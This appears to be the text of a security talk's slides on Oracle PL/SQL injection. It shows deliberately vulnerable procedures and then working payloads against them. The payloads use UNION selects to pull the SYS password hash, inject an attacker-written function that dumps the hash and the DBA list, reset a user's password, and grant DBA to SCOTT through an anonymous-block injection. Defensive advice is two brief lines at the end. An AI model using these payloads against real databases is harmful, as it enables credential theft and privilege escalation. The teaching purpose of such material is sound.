



Oracle PL/SQL Injection

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What is PL/SQL?

- Procedural Language / Structured Query Language
- Oracle's extension to standard SQL
 - Programmable like T-SQL in the Microsoft world.
- Used to create
 - Stored Procedures
 - Functions
 - Packages (collections of procedures and functions)
 - Triggers
 - Objects
- Extends functionality with External Procedures



Privileges – Definer vs. Invoker rights

- PL/SQL executes with the privileges of the definer
 - A procedure owned by SYS executes with SYS privileges
- AUTHID CURRENT_USER keyword
 - PL/SQL created using the AUTHID CURRENT_USER keyword executes with the privileges of the invoker
 - A procedure owned by SYS but called by SCOTT executes with the privileges of SCOTT
- Analogous to Suid programs in the *nix world.



PL/SQL over the Web

- Oracle Application Server / Web Portal
 - http://server/pls/dad/pkg.proc?p_in=foobar
 - Acts as a proxy, passes request to the database server and the PL/SQL executes *inside* the database server – not the front end.



PL/SQL Injection

- SELECT statements
- DML – UPDATE, DELETE, INSERT
- Anonymous PL/SQL Blocks in Procedures



PL/SQL SELECT Example

```
CREATE OR REPLACE PROCEDURE LIST_LIBRARIES(P_OWNER VARCHAR2)
AS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFFER VARCHAR2(200);
BEGIN
    DBMS_OUTPUT.ENABLE(1000000);
    OPEN CV FOR 'SELECT OBJECT_NAME FROM ALL_OBJECTS WHERE
OWNER = ' || P_OWNER || ' AND OBJECT_TYPE="LIBRARY"';
    LOOP
        FETCH CV INTO buffer;
        DBMS_OUTPUT.PUT_LINE(BUFFER);
        EXIT WHEN CV%NOTFOUND;
    END LOOP;
    CLOSE CV;
END;
/
```



Exploiting PL/SQL and SELECT statements

- EXEC SYS.LIST_LIBRARIES('SYS');
- *EXEC SYS.LIST_LIBRARIES('FOO" UNION SELECT PASSWORD FROM SYS.USER\$--');*
- *Easy if printed to screen!*



A more difficult example

```
CREATE OR REPLACE FUNCTION  
  SELECT_COUNT(P_OWNER VARCHAR2) RETURN  
  NUMBER IS  
CNT NUMBER;  
STMT VARCHAR2(200);  
BEGIN  
STMT:='SELECT COUNT(*) FROM ALL_OBJECTS WHERE  
  OWNER="" || P_OWNER || ""';  
EXECUTE IMMEDIATE STMT INTO CNT;  
RETURN CNT;  
END;  
/
```



Exploiting this

- *SELECT SYS.SELECT_COUNT('SYS') FROM DUAL;*
- *SELECT SYS.SELECT_COUNT('SYS" UNION SELECT PASSWORD FROM SYS.USER\$ WHERE NAME="SYS"--') FROM DUAL;*

returns error

ORA-01790: expression must have same datatype as corresponding expression.



Exploiting this....

- *SELECT SYS.SELECT_COUNT('SYS' UNION SELECT USER# FROM SYS.USER\$ WHERE NAME='SYS'--') FROM DUAL;*

returns the error

ORA-01422: exact fetch returns more than requested number of rows.



Exploiting this....

- *SELECT SYS.SELECT_COUNT("SYS" AND OBJECT_NAME = (SELECT PASSWORD FROM SYS.USER\$ WHERE NAME="SYS")--') FROM DUAL;*

Just returns 0!

How do we exploit this then?



Attacker-defined function

```

CREATE OR REPLACE FUNCTION GET_IT RETURN VARCHAR2 AUTHID CURRENT_USER IS
TYPE C_TYPE IS REF CURSOR;
CV C_TYPE;
BUFF VARCHAR2(30);
STMT VARCHAR2(200);
BEGIN
DBMS_OUTPUT.ENABLE(1000000);
  STMT:='SELECT PASSWORD FROM SYS.USER$ WHERE NAME = "SYS"';
  EXECUTE IMMEDIATE STMT INTO BUFF;
  DBMS_OUTPUT.PUT_LINE('SYS PASSWORD HASH IS ' || BUFF);
  OPEN CV FOR 'SELECT GRANTEE FROM DBA_ROLE_PRIVS WHERE GRANTED_ROLE="DBA"';
  LOOP
    FETCH CV INTO BUFF;
    DBMS_OUTPUT.PUT_LINE(BUFF || ' IS A DBA. ');
    EXIT WHEN CV%NOTFOUND;
  END LOOP;
  CLOSE CV;

  RETURN 'FOO';
END;
/

```

Inject this into function



Inject our function

- *SELECT SYS.SELECT_COUNT('FOO' || SCOTT.GET_IT()--') FROM DUAL;*

But where's our output???

Call EXEC DBMS_OUTPUT.PUT_LINE('OUTPUT')



Limitations

- Can't execute DML or DDL?
- PRAGMA AUTONOMOUS_TRANSACTION
 - Allows "GRANT DBA TO PUBLIC" in any injection point



Injecting into DML – INSERT, UPDATE, DELETE

- Without AUTONOMOUS_TRANSACTION
- Extremely flexible:
 - Can inject an UPDATE into a DELETE, INSERT
 - Can inject a DELETE into an UPDATE, INSERT
 - Can inject an INSERT into a DELETE, UPDATE
 - Can inject SELECTS



DML example

```
CREATE OR REPLACE PROCEDURE  
  NEW_EMP(P_NAME VARCHAR2) AS  
  STMT VARCHAR2(200);  
BEGIN  
  STMT := 'INSERT INTO EMPLOYEES (EMP_NAME)  
    VALUES ('' || P_NAME || '')';  
  EXECUTE IMMEDIATE STMT;  
END;  
/
```



Exploiting this

- *EXEC SYS.NEW_EMP('FOO' || SCOTT.GET_IT)--');*

```

CREATE OR REPLACE FUNCTION RSTPWD RETURN
  VARCHAR2 AUTHID CURRENT_USER IS
MYSTMT VARCHAR2(200);
BEGIN
MYSTMT:='UPDATE SYS.USER$ SET PASSWORD =
  "FE0E8CE7C92504E9" WHERE NAME="ANONYMOUS"';
EXECUTE IMMEDIATE MYSTMT;
RETURN 'FOO';
END;
/
EXEC SYS.NEW_EMP('P' || SCOTT.RSTPWD)--);

```



Injecting into anonymous PL/SQL blocks

- Fully flexible
 - SELECTs
 - INSERTS, UPDATES, DELETE
 - And DDL – e.g. CREATE and DROP
 - GRANT DBA



Example

```
CREATE OR REPLACE PROCEDURE
  ANON_BLOCK(P_BUF VARCHAR2) AS
  STMT VARCHAR2(200);
BEGIN
  STMT:= 'BEGIN ' ||
    'DBMS_OUTPUT.PUT_LINE('' || P_BUF || '');' ||
    'END;';
  EXECUTE IMMEDIATE STMT;
END;
```



Exploiting...

- *EXEC SYS.ANON_BLOCK('FOOBAR');*
- *EXEC SYS.ANON_BLOCK('F'); EXECUTE IMMEDIATE "GRANT DBA TO SCOTT"; END; --');*



Trigger Abuse

- Be careful with Triggers. They can be abused, too!



Protecting against PL/SQL Injection

- Use bind variables
- Validate input



Thanks!

- Questions?





Thank You

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